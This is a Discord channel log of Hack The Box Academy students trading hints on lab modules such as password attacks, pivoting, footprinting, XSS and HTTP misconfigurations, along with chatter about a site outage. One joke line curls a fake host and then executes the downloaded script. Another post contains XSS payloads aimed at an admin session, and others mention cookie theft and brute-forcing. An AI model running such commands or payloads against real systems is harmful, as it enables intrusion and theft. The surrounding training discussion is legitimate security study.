#modules

1 messages · Page 115 of 1

trail leaf
#

Section was added recently so it is what it is. Can't blame them for wanting to put some element of reversing in there, but execution could have been cleaner 🤷‍♂️

final maple
trail leaf
#

Everyone who has passed it says that whatever is in the modules can show up on the exam, that said, it's a recent addition, so probably less likely. You can never 100% count it out though.

#

Worst comes to worst, you search ".net binary reversing ippsec/0xdf" and find some walkthrough that they did and follow the steps, they probably wouldn't design any thick clients or binaries that are overly complex, since that's not really what the exam is for

#

Take anything I say with a grain of salt- all I know is what I read in Discord, I haven't taken the exam

final maple
final maple
vital adder
#

the ippsec video on that box is great for debugging but i used 0xdf writeup for this (more quick and easy)

final maple
trail leaf
#

Thick Client is Fatty, the other one is PivotAPI

#

They merged two boxes

final maple
vital adder
#

so far i think this is the only section that done this so you should be good for the other modules

final maple
final maple
vital adder
#

also in my opinion the main reason this section sucks ass is because the goal of the box is to get RCE but the goal of this section is only getting admin in the client but the section still show the whole process from start to getting RCE which is confusing

vital adder
final maple
# trail leaf They merged two boxes

So for "Attacking Thick Client Applications" I should be looking at the Fatty writeup and for "Exploiting Web Vulnerabilities in Thick-Client Applications" I should look at the PivotAPI writeup?

vital adder
#

the Restart-OracleService.exe binary on Attacking Thick Client Applications is from the PivotAPI box and the fatty-client.jar file on Exploiting Web Vulnerabilities in Thick-Client Applications is from the Fatty box

final maple
trail leaf
hidden trellis
#

Is it possible to dm someone about Whitebox Attacks "Remote Code Execution"

rich perch
#

Hello! I'm having troulbe on the Footprinting module. Sqlplus doesn't seem to exist on the Pwnbox, I keep getting command not found. I tried searching the system for the binary using find and it didn't find anything.

#

Do I have to install sqlplus myself?

fathom pendant
#

Yes just copy/paste the commands they give you into a bash script

rich perch
#

thank you!

inner talon
#

hello everyone. I've been stuck on Password Attack Hard Lab for a couple of days now. I was able to find david's credentials and download the .vhd file but I can't mount it or even decrypt it. Would anyone be so kind as to give me a hint?

dawn parrot
#

@inner talon mount the file in windows
and as of decrypting the .vhd file the answer is somewhere in protected archives module

inner talon
#

Okay, I think I'm a little stupid. I used a wrong tool , darn me.

teal breach
#

hello everyone, i've been stuck on Password Attack for Password mutations
"Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer. "

i already try to use hydra, but i couldn't get anything
i also have created the custom rule like a become 4, etc
can anyone help me ? thankyou and have a nice day 🥰

fathom pendant
#

Attack a different service from ssh

fathom pendant
#

Do not create your own rules

#

The correct mutated list is ~95k lines

teal breach
#

i thought i need to create by myself

tribal sonnet
iron plaza
#

I am having a bit of a technical issue with the Windows Privilege Escalation module ... I am at the Citrix Breakout but the machine is so slow that either it times out or just lags a lot that I have to wait eternity to type one letter ... Is there a tech issue with HTB now?

sinful falcon
#

I'm doing windows privesc module and citrix breakout section. Why i'm stuck here ?

iron plaza
sinful falcon
iron plaza
#

thanks

rustic sage
#

is htb working for you? archthink

tribal sonnet
#

Hi guys , i need to best plan subscribe within HTB academy to open modules <°

arctic condor
#

Same here

undone narwhal
vivid igloo
#

yes

sinful falcon
barren apex
#

yep

#

down

tribal sonnet
#

Are you sure?!

rustic sage
#

yes

arctic condor
#

I was in module yeah think down

vivid igloo
sly kelp
sinful falcon
rapid sparrow
#

same lol

sly kelp
#

10000% sure

primal eagle
#

Is the website down

#

cuz it'

rapid sparrow
#

a random hecker hecked them

primal eagle
#

loading for a while

sly kelp
#

I just submitted the last flag and HTB is down

rustic sage
#

Neither htb is working

rapid sparrow
#

HTB pwned???

primal eagle
vivid igloo
#

is it ddos

sinful falcon
#

breakthebox

tribal sonnet
#

May be change , and add some futures🥶

primal eagle
#

HTB pwned indeed

tribal sonnet
#

Hhhh

primal eagle
#

someone escalated from a box

#

leet hacker

vivid igloo
#

but its cloudflare domain

sly kelp
tribal sonnet
#

🙃

primal eagle
sly kelp
rustic sage
#

It's Cloudflare 100%

rapid sparrow
#

cause I got my drug from Amsterdam

mint linden
#

Who's been Hacking HTB??? lol

primal eagle
#

Probably the russians again ffs

tribal sonnet
#

Ok , any one get access in htb add for all cubs free 😹

primal eagle
#

not even supporting our education

barren apex
#

just got to a coffee shop 10mis ago to try and do a few hours in peace

primal eagle
#

darn it

sly kelp
rustic sage
#

some kali linux users probably

vivid igloo
#

tryhackme hacked them ig

primal eagle
mint linden
sly kelp
barren apex
#

NL?

#

UK

vivid igloo
fathom pendant
#

Just submit tickets through the help portal

#

¯_(ツ)_/¯

vivid igloo
#

can i call this Social Engineering

primal eagle
#

I am from North Korea

barren apex
primal eagle
#

i try to learn hacking for the government of korea

vivid igloo
#

Social Engineering *

primal eagle
#

jk im NL servers too

fathom pendant
#

Main site was fine

vivid igloo
#

why are they are not doing sudo systemctl * up

primal eagle
#

ayea

barren apex
#

labs is down

primal eagle
#

No

#

not for me

#

academy is down

sly kelp
#

It is for me

#

Academy

#

Is down

#

Deep down

rustic sage
#

even the main page is down

barren apex
#

everything except support is down by the looks of it

rustic sage
#

no, it's working now

steady cargo
#

Yep, down for me too

rustic sage
#

no, it's not

vivid igloo
fathom pendant
#

Just give it a few

rustic sage
#

jesus, I just want to go back to hell (htb modules) NotLikeThis I want to get that damm flag

steady cargo
#

Ok, it just loaded 😄

vivid igloo
#

WE NEED IT BACK UP YO NO CAP

barren apex
#

back up for me

rustic sage
#

it works

vivid igloo
#

same

rapid sparrow
#

it worked...

rustic sage
#

yay, time to suffer again. It was a pleasure guys

primal eagle
#

anyway...

barren apex
#

and in all that time my target still didnt spawn....

rustic sage
#

kali linux user monkaEyes

primal eagle
#

Ah you are also at the password module

#

I got the creds for the LSASS module, but then it shut down

plain coral
#

Lol I did the exact same thing

primal eagle
#

noob

#

anyway

#

Session Control

#Tools/tmux/session-control
Create a new session:
tmux new -s <name>

Search through history:
Ctrl + d, [ + hjkl for looking through.
And the use of: Page up and Down
copying can be done with SPACE and ENTER
paste this with: Ctrl, d ]

Create a new Window(session):
Ctrl + d, c and Ctrl + d, ',' to rename it.

Switching sessions:
Ctrl + d, <1-9/0> the number of the session.

Nested sessions:
tmux ls show all sessions.
tmux attach -t <session attach the session

Detach a session:
Ctrl + d, d

Join windows/sessions:
Ctrl + d, s + <session-id>

Output history in a log file:
Ctrl + d, alt + shift + P

Show all Tmux bindings:
Ctrl + d, ?

Start a timer:
Ctrl + d, t

Splitting Stuff

#Tools/tmux/splitting-stuff
Horizontal split:
Ctrl + d, "
Vertical split:
Ctrl + d, %

Move splitted sessions:
Ctrl + d, <arrows>

Zoom session:
Ctrl + d, z

Move windows:
Ctrl + d, } to the right
Ctrl + d, { to the left

Change layout looks:
Ctrl + d, space

Terminal Tricks

#Tools/tmux/terminal-tricks
Cycle through history:
Alt + .

Shortcuts:
Ctrl + a begin line
Ctrl + e end line
Ctrl + arrow word by word
Ctrl + D Exit
Ctrl + L Clear

#

some tmux notes

#

learn it in the mean time

primal eagle
vivid igloo
primal eagle
#

ok want vim notes?

rapid sparrow
primal eagle
#

jeeeeeeeeeeez

#

noobs. not even a power user

barren apex
#

only pro hackers use vim

primal eagle
#

atleast im glad no one uses emacs

rapid sparrow
#

I use Microsoft Word as my IDE

barren apex
#

have to have OSCP to be able to close that thing

primal eagle
#

im oscp certified now

#

vim has a lesson binary if you install vim

#

vimtutor

#

i think

mint linden
#

It's back

west night
#

Hi @fathom pendant. Regarding the question in Attacking Common Services easy lab "You are targeting the inlanefreight.htb domain. Assess the target server and obtain the contents of the flag.txt file. Submit it as the answer." I tried the following:

  1. Used the smtp-user-enum tool and found a username starting with f.
  2. found what appeared to be default credentials, first tried to login with them using mysql but was not successful an error appeared citing that the password field was empty.
  3. tried brute forcing each username found with the password list provided in the resources section on the ftp and mysql ports but this was also unsuccessful.

I saw the mysql reverse shell discussion and correctly if I am wrong. I need to be authenticated before attempting this? or does it work straight from the url bar? Any hints would be appreciated 🙂

primal eagle
barren apex
vivid igloo
#

What Hashing protocol is capable of symmetric and asymmetric cryptography? isnt it TLS/SSL ?

vivid igloo
#

yah

primal eagle
#

hashing is one way

#

not symmetric or asymmetric

vivid igloo
#

symmetric and asymmetric encryption,

primal eagle
#

so i dont think that's a hashing protocol

west night
barren apex
#

DM me if you want I done this one on like monday

rustic sage
#

yay got the flag noah_proud

#

Another step closer to active directory module

pulsar needle
#

So I tried to crack the AES hash but I cant. Then I logged into SMB using the ticket, but I am supposed to login to SSH, help lol

vital adder
#

which module and section are you on?

pulsar needle
#

Password attacks - Pass the Ticket (PtT) from Linux

vital adder
#

question 5? hint wrong file

pulsar needle
#

QUestion 5

#

yeah

#

What

#

Ok

fathom pendant
vivid igloo
#

htb down again ?

arctic condor
#

yup

barren apex
#

yep

vivid igloo
#

wth

#

ayo btw What group type is best utilized for assigning permissions and right to users?

#

isn't it SG

barren apex
#

about to punch my screen as my proxy wasnt working then i refreshed the page

vivid igloo
#

or Role-Based Access Control

barren apex
vivid igloo
rustic sage
#

not again

#

come on

barren apex
vivid igloo
vivid igloo
#

god have mercy

barren apex
#

might as well add a suid while your at it

vivid igloo
#

do anyone know the cause like whats going on

rustic sage
#

never forget to chmod o+x

vivid igloo
#

why its down 2x

barren apex
vivid igloo
rustic sage
#

beautiful

barren apex
#

backup

rustic sage
#

works again

vivid igloo
#

curlhttp://elonmuskmilscheme/ > mal.py && chmod +x ./mal.py && ./mal.py

barren apex
#

can anyone see why this isnt working?
The pivot host is available but rdesktop isnt connecting to the port forward?

#

tried 2 different ports to connect to

proud pine
barren apex
#

isnt the listen host the attacking machine?

proud pine
#

The listen address is the IP interface to listen on

barren apex
#

right yep that works, cheers
thought that was what IP its looking for the incoming connection,
thanks

proud pine
pulsar needle
#

Pass the Ticket (PtT) from Linux - The only keytab ive found is ||/home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt ||

#

And apparently thats not the one i am supposed to use

#

Ive tried ||find / -name *keytab -ls 2>/dev/null||

#

And I also found these, but I cant use any of them

barren apex
#

if i remember right you can only see keytabs as the user that created them unless root

pulsar needle
barren apex
#

have you tried responder?

pulsar needle
#

I dont see how that would help

#

Ive found one hash

#

But I cant use it

#

WIAT

#

Lmao

#

I am stupid

#

No

stray brook
#

hi all, i'm in the module http attacks and i'm stuck in the section HTTP Response Splitting

barren apex
pulsar needle
#

I was thinking about doing pass the hash, but I cant cuz I am supposed to login with SSH

stray brook
#

someone could give me a tip, if possible?

pulsar needle
#

Didnt work

#

Aaaa

#

Wait

fiery berry
pulsar needle
#

I need to use the provided password list

#

AAaa

#

Wait

#

No

pulsar needle
#

Lol

vivid igloo
#

DOWN AGAIN ?

steady cargo
tribal plinth
haughty stirrup
#

ok its not just me

#

htb slow

vivid igloo
haughty stirrup
vivid igloo
primal eagle
#

And it's down again

#

damn it

vivid igloo
haughty stirrup
tribal sonnet
pulsar needle
#

uhm

#

Is HTB dead?

#

Like the website

tribal sonnet
pulsar needle
#

features?

swift seal
analog cliff
#

Yeah it died

swift seal
pulsar needle
#

It probably happend just now

analog cliff
#

probably not updated the status yet

trail depot
#

it's very slow

swift seal
#

😭

tribal sonnet
#

Any one from htb team here ?!

analog cliff
#

looks like it came back, I can browse it again

swift seal
#

can confirm

tribal sonnet
#

The site is work full , without any error 😕

rustic sage
#

Hello

broken warren
#

Im having trouble in the documentation and reporting module, I grabbed the git repo for the tmux plugins and i copied the .tmux.conf file to the right location and gave everything rwx permissions. But when i try to load my plugins i get "/home/kali/.tmux/plugins// is not writable!" Has anyone else had this problem and found a solution? Alternatively, is there something better than tmux for logging terminal sessions?

broken warren
fiery berry
inner talon
#

Sorry, can you please tell me what wordlist you used to brute force on the vhd hash? the ones I tried didn't work

acoustic owl
vivid igloo
#

DOWN AGAIN

elfin coral
#

down for me

gloomy bramble
vivid igloo
wise flare
#

Hello guys, I'm blocked on the module "ATTACKING WEB APPLICATIONS WITH FFUF", skill assessment at the question "One of the pages you will identify should say 'You don't have access!'. What is the full page URL?".
I got the right page (with the 'You don't have access!' message) but I can't validate it.
Is the format http://domain.domain.htb/path/to/file.ext right for the answer ?

hardy mural
#

Is it down?

wise flare
rustic sage
#

@wise flare no, it's not like that

wise flare
#

The instance no and the pwnbox, I use my own VM

rustic sage
#

@wise flare do you have "Before you run your page fuzzing scan, you should first run an extension fuzzing scan. What are the different extensions accepted by the domains" ?

#

it's important

wise flare
#

I got the right extension (i think)

#

I retry

rustic sage
#

yep, one little help

#

it's one that's different

#

and unique from the other two

stray brook
#

Hi all

#

someone could help me with the section HTTP Response Splitting ?

#

i'm stuck in this question : Try to use what you learned in this section to steal the admin user's cookie via XSS.

#

I have encoded multiple times the special characters to bypass the firewall, but nothing

#

the idea is pass this GET /?admin=/?target=http://10.10.14.x:9000/script.js HTTP/1.1 to the admin, and when the admin access it will access my xss that will stole his cookie

#

but there a firewall that a need to bypass, the hits is:

#

hint:
Hint

Certain special characters need to be URL encoded multiple times. There is a firewall in place that prevents the admin user from accessing any external endpoints!

wise flare
#

Ok.... I needed to replace the port by "PORT" ....

#

Ty

rustic sage
#

no, just use the port they give you

wise flare
#

I replaced and the answer got accepted but with my port, no

#

weird

rustic sage
#

btw, that will take a while

#

you can curl o just go the webpages

#

did you know that the OSI model has 7 layers? @wise flare

#

you understand

wise flare
#

yes

#

?

wise flare
rustic sage
#

I'm the only that have this error?

#

no

#

i have the same problem

#

Oh okay, thx

fresh pine
#

Does anybody know how to solve this problem in "Attacking Coldfusion" in Attacking Common Applications?

It doesn't get the shell, it keeps listening... (parameters should be fine)

mint linden
#

What are people's preference for O/S's Kali or Parrot???

pulsar needle
#

Kali

#

By a mile

#

lol

#

(Personally)

mint linden
pulsar needle
uncut flint
#

KALI

pulsar needle
#

I dont take notes of the execises I do, do I have to recrack the password, if I remember correctly it will take me 30 minutes and aaaaaa

tranquil axle
#

Did you not submit the pw in the previous section?

pulsar needle
#

No

#

I submitted a flag, but I had to get the password to get the flag

#

Ok

#

Recracked it

#

it was faster than i remember

#

lol

west night
primal drift
#

Can someone tell me, how long there will be promo for silver annual -100 eur?
Cuz I have rent 10 semteber

fresh pine
#

Idk what happens the commands dont work for me 💀 🥲 in "Ataccking SQL Databases"

trail leaf
#

That first SQL command should return a list of users you're able to impersonate. Since it doesn't return anything, you can't impersonate anyone.

fresh pine
#

@trail leaf that's the problem right there, in the exercise they guide you based on that and asking other people on the community thats the way to go. So why isnt it working for me 😭

elfin cedar
#

What does this mean?

#

We can view which privileges we have using the SHOW GRANTS command be discussed later.

elfin cedar
#

but that sentence does not make any sense

#

"command be discussed later."

rustic sage
#

Somone can help me? I tried with all the subdomains wordlist

acoustic owl
rustic sage
#

ah..

#

thx hahhahah

acoustic owl
acoustic owl
rustic sage
#

All the wordlist in SecList/DNS with the inlanefreight.htb domain

tight mesa
#

hello anyone can have an idea what could be happening here:

╭─linux@samsung in ~/Documents/HTB/Academy/PasswordAttack ╰$ cat ssh.hash id_rsa:$sshng$1$16$F1C2E21F3CF7BDF460FB56C7D16911F2$1776$b2a5e7a6de9f3785208b9e39086c8f5a07...SNIP....89b922aafeba78ad22cd50bf9252a04941166e2039d55dc8a4a9268d5930d4 ╭─linux@samsung in ~/Documents/HTB/Academy/PasswordAttack ╰$ john --wordlist=rockyou.txt ssh.hash No password hashes loaded (see FAQ)

trail leaf
#

That said, they probably should have a user you can impersonate just for practice

acoustic owl
rustic sage
paper gust
#

add --format=SSH to your command maybe and see if that changes the behavior

tight mesa
#

ok., ty I'm gonna try it

pastel pewter
#

hey guys can i ask you

#

i bought academy gift card and i want to buy platinum subscription with that money how can i do that

#

anyone !!

cobalt iris
pastel pewter
#

can someone answer me

cobalt iris
#

currently using kali on my PC and Parrot on laptop

fresh pine
#

Can anybody guide me in the right direction? In the "Attacking Common Services - Easy" I can't get a valid user name when I try the usernames.list provided, and then when i try a list from Seclist i get a lot of "valid users" that don't work like "bob, public, demo...". Please if could would help i'd apreciate

narrow solar
#

good day friends, i am at SQLMap Essentials case 6, i spent hours without a hit, it says that col is not injectable and starts with other parameters, i tried with --level=5 ,--prefix='%27%29' and --prefix="')", any hint please

tight mesa
paper gust
#

Yeah, looks like your john is very out of date

#

or potentially it was built with limited environment?

tight mesa
paper gust
#

either grab binaries from the openwall website or build from the repo?

tight mesa
# paper gust either grab binaries from the openwall website or build from the repo?

yesterday at night I did this:

git clone https://github.com/openwall/john -b bleeding-jumbo john
cd john/src/
./configure
make -s clean && make -sj4

GitHub

John the Ripper jumbo - advanced offline password cracker, which supports hundreds of hash and cipher types, and runs on many operating systems, CPUs, GPUs, and even some FPGAs - GitHub - openwall/...

paper gust
fresh pine
paper gust
#

when you ran ./configure it should have showed features that were enabled/disabled based on your environment

tight mesa
#

ok., how can I fix it?

paper gust
#

you need to resolve those environmental issues

tight mesa
#

holy moly ....

tight mesa
paper gust
#

actually it might be good to do here in case someone else has the same issue

#

that way they can search for the answer

tight mesa
#

ok., got it

#

when you mean, environment issues, are you meaning this:

Configured for building John the Ripper jumbo:

Target CPU ......................................... x86_64 AVX, 64-bit LE
AES-NI support ..................................... run-time detection
Target OS .......................................... linux-gnu
Cross compiling .................................... no
Legacy arch header ................................. x86-64.h

Optional libraries/features found:
Memory map (share/page large files) ................ yes
Fork support ....................................... yes
OpenMP support ..................................... yes (not for fast formats)
OpenCL support ..................................... no
Generic crypt(3) format ............................ yes
OpenSSL (many additional formats) .................. yes
libgmp (PRINCE mode and faster SRP formats) ........ yes
128-bit integer (faster PRINCE mode) ............... yes
libz (7z, pkzip and some other formats) ............ yes
libbz2 (7z and gpg2john bz2 support) ............... yes
libpcap (vncpcap2john and SIPdump) ................. yes
Non-free unrar code (complete RAR support) ......... yes
librexgen (regex mode, see doc/README.librexgen) ... no
OpenMPI support (default disabled) ................. no
Experimental code (default disabled) ............... no
ZTEX USB-FPGA module 1.15y support ................. no

Install missing libraries to get any needed features that were omitted.

Configure finished. Now "make -s clean && make -sj4" to compile.

paper gust
#

Install missing libraries to get any needed features that were omitted.

#

yes, that would be part of it

#

however it does look like you have OpenSSL which is the dependency i would have expected for the SSH format

#

so perhaps that format is in experimental still

#

though i wouldnt expect it to be

tight mesa
paper gust
#

from there, i would make clean, and make again

#

and see if the format is present after

#

also, looking back at your commands

violet tundra
#

Just finished Password Attacks:

  • Very interesting course that introduces a lot of AD concepts, alongside passwords
  • I felt like the course was much more difficult than the skill assessments

https://academy.hackthebox.com/achievement/737/147

paper gust
#

you ran john from an installed path

#

and you compiled john to a local binary

#

so you are probably running some ancient installed version of john that is different from the locally compiled binary

#

which will cause even more confusion/conflicts here

elfin coral
#

when creating a reverse shell with the pwnbox, what IP do I have to put in the script? I used hostname -i to get 127.0.1.1 so a localhost IP and the reverse shell did not work

#

module is Getting Started - Nibbles - Initial Foothold

violet tundra
elfin coral
#

thanks

barren hawk
#

Hi someone have problmes with first asset in ABUSING HTTP MISCONFIGURATIONS? I tried diffrent payloads like:

<script>window.location.href = 'http://94.237.48.48:39725/index.php?language=pepe&content=test';</script>
<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://94.237.48.48:39725/admin.php?reveal_flag=1', true);xhr.withCredentials = true;xhr.send();window.location.href = 'http://94.237.48.48:39725/index.php?language=pepe&content=test' + encodeURIComponent(xhr.responseText);</script>

But doesn't work

elfin cedar
#

😭

twilit field
#

Hey!
I wonder if someone can help me. I’m looking at the IPMI section of the Footprinting module.
In the output from nmap, how can one identify if anonymous authentication is enabled?
Would it be under:
PassAuth: anonymous_user
Or under UserAuth?

#

If it says “UserAuth: null” what does that mean?

#

Similar to this:

vital quiver
#

every time i dump hashes and see "mrb3n" account hash, the urge to push challenge through my 🥜 cracker 🤣

barren apex
#

RDP and SOCKS Tunneling with SocksOverRDP

I have loaded the dll and turned off windows defender. why am i getting this error??

fathom pendant
barren apex
fathom pendant
#

Real-Time-Protection

barren apex
#

Yes I had already turned real time protection off and Set-MpPreference

fathom pendant
#

More specifically (just to be sure) which system are you trying to access, and which are you on?

#

There are 3 systems, you have creds for all

#

Foothold, jump(1), target

barren apex
#

oh is there a jump between the foothold and target?

fathom pendant
#

Yes

#

Follow the section

barren apex
#

right got it, was getting confused

#

cheers

#

was trying to go pivot > target, but i get what its asking now

fathom pendant
#

After that it's pretty straightforward

barren apex
#

cheers

languid juniper
#

Hey folks, looking for some help on the Footprinting Lab - easy

#

I am able to ftp in to the proxy 2121 and see the hidden files and folders using ls -a

#

also changed the permissions to for read write and execute

#

but I am unable to download them to my parrot vm

fathom pendant
languid juniper
#

the permissions for .ssh are all read write execute

fathom pendant
#

What is that drive link

languid juniper
#

trying to share a snip of my screen

fathom pendant
#

Just verify your main htb account following instructions in #welcome

languid juniper
#

Thats better, thank you

#

I try downloading using get and mget

#

nada

#

what dumb step am I missing here?

fathom pendant
#

What directory are you launching ftp from? Is it a restricted directory like root?

thorn urchin
#

yeah the error is telling you its from the local side

languid juniper
#

Doh

#

I’ll try it when I get back, not enough sleep

#

Thank you!

gloomy bramble
#

ok, how was attacking common services -medium easier than easy? Rhetorical question, but if there is actually a narrative to this, be interesting to hear.

sleek urchin
#

and i just don't know how to do so, and I have tried couple of things with no success

#

any help is well appreciated !!

fathom pendant
thorn urchin
#

nah theyre just flipped for some reason

fathom pendant
#

I mean

#

Most easy/med labs seem flipped

#

If we're gonna break it down lol

upbeat dragon
#

Hi Guys! Im having issues with "Pass the Ticket (PtT) from Windows" on the very first question i cant connect via RDP to the IP assigned with provided credentials, I did reset the IP multiple times but no luck :S how can I get help to solve it?

gloomy bramble
fathom stump
#

I'm working on Footprinting/SMTP

I'm struggling to get nmap to accept more than one argument for scripts.
||nmap --script smtp-enum-users --script-args userdb=/home/users.lst,smtp-enum-users.methods={vrfy} 10.129.253.190 ||

It seems to recognize that there are two arguments, but it only ever uses one of them.

#

I resorted to going over the list manually to finish the exercise 😦

languid juniper
#

For the smtp footprinting I only needed one script

#

smtp-enum-users

fathom stump
#

I'm only using one. But two arguments

wintry jolt
#

hello guys, I'm using mac m1 chip now i want install kali Linux in my host. is there any way to install arm kali in my host machine.
i tried to install arm in utm but it was not installed

languid juniper
#

--script-args smtp-enum-users.methods={VRFY}

#

I believe that is the only arg you need

fathom stump
#

What about the user list? The correct username isn't in the default list

#

It's supplied in a file as part of the exercise

languid juniper
#

sudo nmap -p25 --script smtp-user-enum -M VRFY -U /usr/share/dirb/wordlists/big.txt -t 10.129.42.195 -v

#

It isnt that wordlist from memory

#

I have this in my notes trying to remember how I solved it

#

but I believe the syntax is similar to the above

fathom stump
#

Interesting. That is not the syntax I found on nmap.org

#

But in the image I sent, it appears to recognize both of them, so I don't know what I'm doing wrong, really.

languid juniper
#

I just checked; you want to use this wordlist

#

/usr/share/dirb/wordlists/big.txt

#

if you figure out the syntex you got is

fathom stump
#

The word list is supplied in the exercise

languid juniper
#

sure it is 🙂

fathom stump
#

I've already done it manually for the answer, I just want to figure out how to get it working.

fathom stump
languid juniper
#

I had to run it with the big.txt wordlist anf finally got it

fathom stump
#

But I can't get nmap to use the vrfy method and the list at the same time which annoys me

fathom pendant
#

BTW

#

Script arging in Nmap is just a needless pain

languid juniper
#

smtp-user-enum -M VRFY -U users.txt -t 10.0.0.1

fathom pendant
languid juniper
#

It that what we are looking for, I did this last week just took horrible notes

fathom pendant
#

That's what I recall doing

fathom stump
#

Where did you find -M -U as being usable?

fathom pendant
#

I believe I managed to get Nmap to work after several hours of trial and error. Which felt pointless

fathom pendant
fathom stump
#

I get that. Not what I'm asking

#

How did you find it / where can I see it?

fathom pendant
#

not the Nmap script

fathom stump
#

Oh, I don't know what/where that is either

#

I was using the nmap scripting engine

fathom pendant
#

It should be installed and be in your default path just Start typing smtp-user- and hit tab

fathom stump
#

Interesting I'll look into it

#

Would still like to figure out nse though

hardy anchor
#

Hey did you solve it? Can I DM you?

civic zenith
#

I have admin rights via CMD prompt and PS. How can I check the NTLM hash of a certain user?

devout spruce
#

@cunning obsidian dms?

civic zenith
#

I already used scp to put it on the linux attack host

tight mesa
#

anyone known why the ssh to the target box from the pwnbox is so unstable?, every time that I establish a ssh session and try to setup a python web server is frozen, unfortunately I can't crack the hashes with my Linux machine and I'm using the HTB pwnbox but it's driving me nuts.....

hardy anchor
#

I'm trying to get the clear text pwd for a user with the reversible encryption enabled

lone hamlet
#

Hi All,

Hope some one can help me in "Shells & payloads - The live engagement - host #1"

After RDP to the Foothold system, I can't see any browser application in Parrot OS. Kindly let me know if this is expected.

rustic sage
#

@lone hamlet you have to rdp the ip that they give you, and then you can start atacking from that machine

#

@lone hamlet the ip's that you must atack are in the Target Hosts image

#

@lone hamlet and don't forget the hints, they're very important

candid ocean
#

In the web attacks module, Local File Disclosure.
Attempting to read the connection.php file
It looks to me that the expect command is disabled becuase I cannot even do basic commands like id or whoami.
Where the hint suggest to use PHP filters - which suggest if you obfuscate the command it should work, but I cannot et anything going in my favor.
Some assistance would be greatly appreicated.

tranquil axle
#

File disclosure does not equal code execution. You can read files with it but you can't run commands. The idea is that you can use it to read sensitive data (like the source code or files containing credentials like a connection.php) and then do something with that new knowledge

candid ocean
#

I do understand that but there is also in the same section parts about "Remote Code Execution with XXE"
And with the IP of the target machine being accessible on the VPN compared to all the other tasks being an online task - that suggests towards the information given in the RCE part of this section

#

and ofcourse the standard as soon as you submit to discord you work it out yourself. I swear I submit the read w/ base64 thing soooo many times.

tranquil axle
#

but the hint hints towards using php://filter/ no?

candid ocean
#

but now it suddenly works =/

tranquil axle
#

haha, maybe a typo somewhere

candid ocean
#

More than likely, appreicate your help anyway mate 😄

tulip dragon
#

Identify if its possible to perform a zone transfer and submit the TXT record as the answer. (Format: HTB{...)) i am stuck here for a long time

fiery berry
tulip dragon
#

i use the dig axfr inlanefreight.htb @rustic sageurl

vapid ether
#

anyone on SQL injection fundamentals.. Just asking for help on how to log into the inlanefreight on the skills assessment

fiery berry
fathom stump
lilac flint
#

why am i geting ldap_sasl_interactive_bind: Can't contact LDAP server (-1)

#

when running ldapsearch

leaden quail
#

Hi can someone give me a hint for "Hunt 2: Create a KQL query to hunt for "Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder". Enter the content of the registry.value field in the document that is related to the first registry-based persistence action as your answer." from INTRODUCTION TO THREAT HUNTING & HUNTING WITH ELASTIC. I tried different search querys but nothings seems to work.

tulip dragon
fathom stump
#

It's right under the transfer you've already done

#

|| internal zone transfer ||

pulsar needle
#

I cant crack the zip hash, ive tried 5 different wordlists

clear bough
#

hi in kerberos Attacks - Skill Assessment i got the initial credential but i cannot connect in anyway to server01 for enumerate the domain. can anyone can help with this??

pulsar needle
acoustic owl
pulsar needle
#

AAAAAA

#

I remember now

#

I changed my mut password list

#

Yes, i made it 400 lines instead of 94k

#

lol

fathom pendant
#

Why 400?

pulsar needle
#

Because I changed it to bruteforce the kira user

fathom pendant
#

Lol most suggestions were to remove the first 17k

fathom pendant
pulsar needle
pulsar needle
slate palm
#

has anybody else had problems using ligolo-ng on the first jump box of "attacking corporate networks"? - it seems to completely strangle the poor thing

tulip dragon
#

when to use the htb and htb academy effectivly

vital adder
tulip dragon
#

go to htb after full job role path or after modules

slate palm
vital adder
#

nice same but i haven't re-do my sucks ass note for it so let me give the pivoting thing a check

slate palm
#

Ill just use ssh for now

vital adder
vital adder
#

if that screenshot alone help then np 👍 but if you still need help with that feel free shoot me a dm

slate palm
#

it told me its a me problem and not a box problem

vital adder
#

also i did wrote a quick "section" on using ligolo-ng double pivot but the head of the academy haven't reply to that ping so if you or anyone want to give have a check and give me some feedback shoot me a dm

rapid sparrow
twilit field
rapid sparrow
# rapid sparrow

need some help for the Exploiting Web Vulnerabilities in Thick-Client Applications

#

I have decompile the jar file using JD-GUI, but when I compile the .java file, it won;t work

vital adder
dark rampart
#

yo guys, i got stuck on this question in Linux fundamentals: Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

#

it tells me that the address is unreachable

#

what can i do?

fiery berry
rapid sparrow
dark rampart
#

do you mean the output it gives me after it tries to reach the web?

dark rampart
fiery berry
pulsar needle
#

I tried to bruteforce user root on password skill assessment easy, it didnt work (Bruteforcing root on ssh) and bruteforcing all the usernames with the mut wordlist for ftp (Nvm crackmapexec didnt work that time, now it does)

real copper
#

Hello everyone,

I've been working on the password module for the past five days, but unfortunately, I'm facing a challenge due to the ***** RDP connection constantly resetting every second. This is causing a significant disruption in my progress.

hushed bough
#

Attacking Common Services - Easy -> i'm on the final step so i upload the shell, now how can i open it? when i go to the http://targetip/shell.exe it just download it any hint? Maybe is a easy step but i'm on this like for hours cant think to much xd

urban walrus
urban walrus
hushed bough
real copper
urban walrus
vital adder
#

jk but which section and question are you on?

real copper
real copper
vital adder
#

i mean the section and question?

pulsar needle
#

Password attacks is too lengthy lol

vital adder
vital adder
pulsar needle
#

I am doing the easy skill assessment and i have no clue what username is avaliable

real copper
pulsar needle
#

so i am trying it with the short list (203 passwords per user)

undone narwhal
pulsar needle
#

I am not cracking a hash

#

I am bruteforcing FTP

#

but yeh

undone narwhal
#

oh i see my bad

vital adder
undone narwhal
pulsar needle
#

The thing is

#

idk

#

if ftp might reject it

#

lol

vital adder
pulsar needle
#

I tried using crackmapexec and it took like 2 minutes to scan the 97k passwords for all the users, but none of them hit

#

so now

#

I am thinking that i was doing the scan too fast

#

so i am doing a slower one

#

with the 200 passwords

#

And indeed

#

I got the password just now

#

Lol

real copper
#

hey wtf
even when i tried to connect using winrm

it took 3min
and every command hang out

wtf they should extend my voucher 1year

real copper
vital adder
# real copper hey wtf even when i tried to connect using winrm it took 3min and every comm...

